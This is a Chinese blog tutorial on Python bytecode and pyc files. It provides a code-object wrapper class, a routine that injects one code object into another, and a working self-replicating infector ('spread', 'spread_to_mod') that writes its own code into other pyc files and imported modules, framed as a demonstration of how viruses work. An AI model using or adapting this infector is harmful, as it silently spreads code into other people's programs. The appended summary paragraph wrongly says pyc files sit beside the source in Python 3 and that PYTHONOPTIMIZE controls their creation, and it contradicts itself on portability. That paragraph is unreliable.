Python pyc文件 bytecode 字节码详解,及插入、编辑

Python中的字节码(bytecode)是一种数据类型。PyInstaller, py2exe等库会把编译生成的字节码打包进exe中。掌握字节码的知识, 对于PyInstaller打包exe的反编译, 以及源代码的保护是十分有用的。

字节码基础知识

在Python中, 字节码是一种独特的数据类型, 常存在于用python写成的函数中。先放示例:

>>> import dis
>>> def f(x):print('hello',x)

>>> type(f.__code__)
<class 'code'>
>>> f.__code__.co_code
b't\x00d\x01|\x00\x83\x02\x01\x00d\x00S\x00'
>>> dis.dis(f)
  1           0 LOAD_GLOBAL              0 (print)
              2 LOAD_CONST               1 ('hello')
              4 LOAD_FAST                0 (x)
              6 CALL_FUNCTION            2
              8 POP_TOP
             10 LOAD_CONST               0 (None)
             12 RETURN_VALUE
>>> 

上述示例中f.__code__就是bytecode对象, f.__code__.co_code就是字节码的二进制部分, 通过dis模块可以反编译、分析这些字节码。

Python执行字节码的原理

类似Java的虚拟机, Python执行字节码的原理类似于一个CPU, 不断执行指令。字节码就相当于一个汇编语言
以上面反编译的字节码为例,LOAD语句把print(), 字符串hello和变量x加入一个
然后执行CALL_FUNCTION, 把栈里面的函数和参数出栈, 然后调用这个函数。

LOAD_CONST语句把None加入栈, 然后RETURN_VALUE把None返回, 也就是调用函数f()最终返回的结果是None。(返回一个值也是所有字节码必须做的)

为什么使用字节码

Python解释执行代码时, 会首先将原始的源代码翻译成bytecode形式, 再直接执行bytecode, 以提高性能。
如果py文件不经过编译, 直接执行, 类似shell脚本, 那么只会降低Python执行的速度。
如果py文件编译成机器码, 类似C语言, 由于不同平台使用的不是同一种机器码, 就失去了Python跨平台的特性。
因此作者认为, 先翻译成字节码再执行, 是Python等脚本语言最佳的选择。

字节码对象的结构

前面提到的f.__code__就是一个字节码对象。下面是字节码对象所有的属性:
字节码的结构
(在 Python 3.8+中, 增加了属性 co_posonlyargcount)
如果你感兴趣, 在Python官方文档中有更详细的字节码的介绍。

字节码和pyc文件的关系

任意一个bytecode对象都可以被存储到一个pyc文件中。类似于pickle模块, pyc文件可以完整保存一个字节码对象。
Python执行pyc文件时, 会首先从pyc文件中还原bytecode对象, 然后再执行这个bytecode。

Python常常会把py文件编译成pyc文件,存放在__pycache__目录中。(不信你看Python的安装目录里面的Lib文件夹中, 就有__pycache__目录, 里面有很多的pyc文件。)

另外, PyInstaller, py2exe等库会把编译生成的字节码打包进exe中。

包装字节码

在python中, bytecode对象的属性是不可修改的。如:

>>> def f():pass
>>> f.__code__.co_code = b''
Traceback (most recent call last):
 ... ...
AttributeError: readonly attribute

为了使bytecode对象更易于使用, 作者编写了Code类, 用于包装字节码对象。这在后面的程序中会用到。

import sys
try:
    from importlib._bootstrap_external import MAGIC_NUMBER
except ImportError:
    from importlib._bootstrap import MAGIC_NUMBER
from types import CodeType, FunctionType
from collections import OrderedDict
import marshal,io,builtins
import dis
import pickle

_default_code=compile('','','exec')
_is_py38=hasattr(_default_code, 'co_posonlyargcount') # 是否为3.8及以上版本
_is_py310=hasattr(_default_code, 'co_linetable') # 是否为3.10及以上版本
_is_py311=hasattr(_default_code, 'co_exceptiontable') # 是否为3.11及以上版本
class Code:
    """
# 用于doctest
>>> def f():print("Hello")

>>> c=Code.fromfunc(f)
>>> c.co_consts
(None, 'Hello')
>>> c.co_consts=(None, 'Hello World!')
>>> c.exec()
Hello World!
>>> 
>>> import os,pickle
>>> temp=os.getenv('temp')
>>> with open(os.path.join(temp,"temp.pkl"),'wb') as f:
...     pickle.dump(c,f)
... 
>>> 
>>> f=open(os.path.join(temp,"temp.pkl"),'rb')
>>> pickle.load(f).to_func()()
Hello World!
>>> 
>>> c.to_pycfile(os.path.join(temp,"temppyc.pyc"))
>>> sys.path.append(temp)
>>> import temppyc
Hello World!
>>> Code.from_pycfile(os.path.join(temp,"temppyc.pyc")).exec()
Hello World!
"""
# 关于CodeType: 
# 初始化参数:
# code(argcount, kwonlyargcount, nlocals, stacksize, flags, codestring,
#    constants, names, varnames, filename, name, firstlineno,
#    lnotab[, freevars[, cellvars]])
# 初始化参数 (Python 3.11+):
# code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, 
# constants, names, varnames, filename, name, qualname, firstlineno, linetable, 
# exceptiontable, freevars=(), cellvars=(), /)
# Python 3.10中没有qualname和exceptiontable这两个参数
# Python 3.8增加了属性co_posonlyargcount,而Python 3.11的字节码有较大的改动

    if _is_py310: # Python 3.10及以上版本
        _default_args=OrderedDict(
             [('co_argcount',0),
              ('co_posonlyargcount',0),
              ('co_kwonlyargcount',0),
              ('co_nlocals',0),
              ('co_stacksize',1),
              # 如果是函数中, 则为OPTIMIZED, NEWLOCALS, NOFREE; Python 3.11及以上为OPTIMIZED, NEWLOCALS
              ('co_flags',0), # 无flag
              ('co_code',_default_code.co_code),# 具体因Python版本而异
              ('co_consts',(None,)),
              ('co_names',()),
              ('co_varnames',()),
              ('co_filename',''),
              ('co_name',''),
              ('co_qualname',''), # 3.11+
              ('co_firstlineno',1),
              ('co_linetable',b''),
              ('co_exceptiontable',b''), # 3.11+
              ('co_freevars',()),
              ('co_cellvars',())
              ])
        if not _is_py311: # Python 3.10
            _default_args["co_flags"]=64 # NOFREE
            del _default_args['co_qualname']
            del _default_args['co_exceptiontable']
    else:
        # 按顺序的字典
        _default_args=OrderedDict(
             [('co_argcount',0),
              ('co_kwonlyargcount',0),
              ('co_nlocals',0),
              ('co_stacksize',1),
              # 如果是函数中, 则为OPTIMIZED, NEWLOCALS, NOFREE
              ('co_flags',64), # NOFREE
              ('co_code',b'd\x00S\x00'),# LOAD_CONST    0 (None)
                                        # RETURN_VALUE
              ('co_consts',(None,)),
              ('co_names',()),
              ('co_varnames',()),
              ('co_filename',''),
              ('co_name',''),
              ('co_firstlineno',1),
              ('co_lnotab',b''),
              ('co_freevars',()),
              ('co_cellvars',())
              ])
        # 3.8~3.9
        if _is_py38:
            _default_args['co_posonlyargcount']=0
            _default_args.move_to_end('co_posonlyargcount', last=False)
            _default_args.move_to_end('co_argcount', last=False)

    _arg_types={key:type(value) for key,value in _default_args.items()}
    def __init__(self,code=None):
        super().__setattr__('_args',self._default_args.copy())
        if code is not None:
            if isinstance(code,Code):
                self._args = code._args.copy()
                self._update_code()
            else:
                self._code=code
                for key in self._args.keys():
                    self._args[key]=getattr(code,key)
        else:
            self._update_code()
    
    def _update_code(self):
        self._code=CodeType(*self._args.values())
    def exec(self,globals_=None,locals_=None):

        default={"__builtins__":__builtins__,"__doc__":None,
                  "__loader__":__loader__,"__name__":"__main__"}
        globals_ = globals_ or default
        if not locals_:locals_ = default.copy()
        return exec(self._code,globals_,locals_)
    def eval(self,globals_=None,locals_=None):
        return eval(self._code,globals_,locals_)
    def __getattr__(self,name):
        _args=object.__getattribute__(self,'_args')
        if name in _args:
            return _args[name]
        else:
            if hasattr(self._code,name) and not name.startswith("__"):
                return getattr(self._code,name) # self._code的其他属性
            else:
                # 调用super()耗时较大, 因此改用object
                return object.__getattribute__(self,name)
    def __setattr__(self,name,value):
        if name not in self._args:
            return object.__setattr__(self,name,value)
        if not isinstance(value,self._arg_types[name]):
            raise TypeError("Illegal attribute %s" % name)
        self._args[name]=value
        self._update_code()
    def __dir__(self):
        extra=[attr for attr in dir(self._code) \
            if attr not in self._args and not attr.startswith("__")] # self._code的其他属性
        return object.__dir__(self) + list(self._args.keys()) + extra
    # 用于pickle模块保存状态
    def __getstate__(self):
        return self._args
    def __setstate__(self,state):
        super().__setattr__('_args',self._default_args.copy())
        for key in state: # 删除来自新版中不兼容的项
            if key not in self._args:
                del state[key]
        self._args.update(state)
        self._update_code()
    @classmethod
    def fromfunc(cls,function):
        c=function.__code__
        return cls(c)
    @classmethod
    def fromstring(cls,string,mode='exec',filename=''):
        return cls(compile(string,filename,mode))
    def to_code(self):
        return self._code
    def to_func(self,globals_=None,name=''):
        if globals_ is None:
            # 默认的全局命名空间包含内置函数
            globals_={"__builtins__":builtins}
        return FunctionType(self._code,globals_,name)
    def to_pycfile(self,filename):
        with open(filename,'wb') as f:
            f.write(MAGIC_NUMBER)
            if sys.version_info.minor>=7:
                f.write(b'\x00'*12)
            else:
                f.write(b'\x00'*8)
            marshal.dump(self._code,f)
    @classmethod
    def from_pycfile(cls,filename):
        with open(filename,'rb') as f:
            data=f.read()
            header = 16 if data[16]==227 else 12
            data=data[header:]
            return cls(marshal.loads(data))
    @classmethod
    def from_file(cls,filename):
        if filename.lower().endswith('.pyc'):
            return Code.from_pycfile(filename)
        else: # .py或pyw文件 (默认utf-8编码)
            with open(filename,'rb') as f:
                data=f.read().decode('utf-8')
            return Code(compile(data,filename,'exec'))
    def pickle(self,filename):
        with open(filename,'wb') as f:
            pickle.dump(self,f)
    def info(self):
        dis.show_code(self._code)
    def dis(self,*args,**kw):
        dis.dis(self._code,*args,**kw)

插入、修改字节码

我们的目标是将一个code对象插入另一个code对象中, — — 就像在DNA中插入片段。
这样, 原先的code对象被执行时, 会自动捆绑执行另一个code对象。
首先, 将py,pyc文件转换为Code对象:

from inspect import iscode
import marshal,os,sys
try:
    from importlib._bootstrap_external import MAGIC_NUMBER
except ImportError:
    from importlib._bootstrap import MAGIC_NUMBER

def extract_file(filename):
    # 将py,pyc文件转换为Code对象
    code=open(filename,'rb').read()
    if filename.endswith('.pyc'):
        code=code[16:] if code[16]==227 else code[12:]
        return Code(marshal.loads(code))
    else: # .py文件
        return Code(compile(code,__file__,'exec'))

再开始插入代码。原理是先用待插入的bytecode定义一个函数,
然后, 在目标bytecode末尾, 插入一段代码, 调用这个函数, 达到插入的目的。

def to_b(int):
    return int.to_bytes(1,'big')

def insert_to_code(target,code_):
    # 将code_插入target对象 (相当于捆绑code_和target) !!!
    # 定义函数部分的反编译
    #          0 LOAD_CONST               0 (<code object f at ...>)
    #          2 LOAD_CONST               1 ('f')
    #          4 MAKE_FUNCTION            0
    #          6 STORE_NAME               0 (f)

  #2           8 LOAD_NAME                0 (f)
  #           10 CALL_FUNCTION            0
  #           12 POP_TOP
  #           14 LOAD_CONST               2 (None)
  #           16 RETURN_VALUE
    co = b'''d%s\
d%s\
\x84\x00\
Z%s\
e%s\
\x83\x00\
\x01\x00\
d%s\
S\x00'''
    
    fname='f'
    # !!!
    target.co_consts+=(code_._code,fname)
    co_id,n_id=len(target.co_consts)-2,len(target.co_consts)-1
    target.co_names+=(fname,)
    f_id=len(target.co_names)-1

    # 找出co_consts中None的索引, 用于在插入的bytecode最后返回None
    none_id=target.co_consts.index(None)
    # 组装要插入的一段bytecode
    co = co % (to_b(co_id),to_b(n_id),
               to_b(f_id),to_b(f_id),to_b(none_id))

    # 去除原先bytecode中返回None的末尾
    co_ret_none=b'd%sS\x00' % to_b(none_id)
    # 将组装好的bytecode插入到target对象
    target.co_code=target.co_code.replace(co_ret_none,b'') + co # !!!
    return target

然后, 将修改过的bytecode保存为pyc文件:

def dump_to_pyc(pycfilename,code):
    # 制作pyc文件
    with open(pycfilename,'wb') as f:
        # 写入 pyc 文件头
        if sys.version_info.minor >= 7:
            pycheader=MAGIC_NUMBER+b'\x00'*12
        else:
            pycheader=MAGIC_NUMBER+b'\x00'*8
        f.write(pycheader)
        # 写入bytecode
        marshal.dump(code._code,f)

总结

用上述函数, 可以制作出能自我复制的程序。
延伸阅读:Python 设计自我复制程序,模拟计算机病毒工作原理

MARK=b"#####MyPython####"

def find_mark(code):
    # 判断MARK (标记)是否已在code中
    return MARK in marshal.dumps(code._code)

def extract_self(co=None):
    # 提取程序自身的代码, 使用递归
    if not co:co=extract_file(__file__)
    for value in co.co_consts:
        if isinstance(value,bytes) and MARK in value:
            return co
        elif iscode(value):
            value=Code(value)
            co=extract_self(value)
            if co is not None:return co

def spread(target):
    # 将自身 (本文件) 插入文件target !!!
    self=extract_self()
    co=extract_file(target)
    if not find_mark(co):
        co=insert_to_code(co,self)
        dump_to_pyc(os.path.splitext(target)[0] + '.pyc',co)
        # print(co._code.co_code)
        return co
    else:return None

def spread_to_mod(modname):
    # 插入到某个模块
    file=__import__(modname).__file__
    co=spread(file)
    #if co and not file.endswith('.pyc'):os.remove(file) # 可删除原先的py文件

target='test.pyc'
co=spread(target)
# print('hello world') # 用于测试

此外, Python的字节码这一特性有着广泛的用途, 例如pyc文件的压缩、加密, pyc文件的防止反编译等。
(参见下篇: Python pyc文件 bytecode的压缩, 加壳和脱壳解析)
关于作者自制的字节码的压缩、混淆、加壳和脱壳、混淆工具,参见:gitcode.net/qfcy_/pyc-zipper
欢迎点赞收藏

Python3 pyc文件Python源代码经过编译后生成的二进制文件。编译的过程可以提高程序的执行速度,提高资源利用率。下面我来详细解释一下Python3 pyc文件的相关内容。 当我们使用Python解释器运行一个.py文件时,解释器会首先将源代码转化为字节码,然后逐行执行字节码,完成程序运行。然而,每次启动程序时都需要重新将源代码转化为字节码,这样的过程会带来一定的性能损耗。 为了优化这一过程,Python引入了pyc文件pyc文件是由编译器将源代码转换为的字节码格式文件,它更加接近于机器代码,可以直接被Python解释器执行。当我们第一次运行一个.py文件时,解释器会自动生成相应的.pyc文件,然后下一次再次运行这个文件时,解释器会察看.pyc文件的时间戳和.py文件是否一致,如果一致则直接加载.pyc文件执行,如果不一致则会重新生成.pyc文件pyc文件存储了字节码和一些元数据信息。它是跨平台的,可以在不同的操作系统和Python版本上使用。可以通过查看.pyc文件的内容,了解字节码的结构和元数据信息。 值得注意的是,pyc文件不是可执行文件,它是由特定版本的Python解释器读取的。如果使用不同版本的解释器,可能无法正确读取.pyc文件。 在Python3中,pyc文件存储在与原始.py文件相同的目录下,只是后缀名不同。可以通过设置PYTHONOPTIMIZE环境变量,来控制是否生成.pyc文件。 总结来说,Python3 pyc文件是经过编译后生成的二进制文件,它包含了字节码和元数据信息。pyc文件的生成可以提高程序的执行速度和资源利用率。对于频繁执行的代码,可以通过使用pyc文件来避免重复编译,提高程序的性能。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

qfcy_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值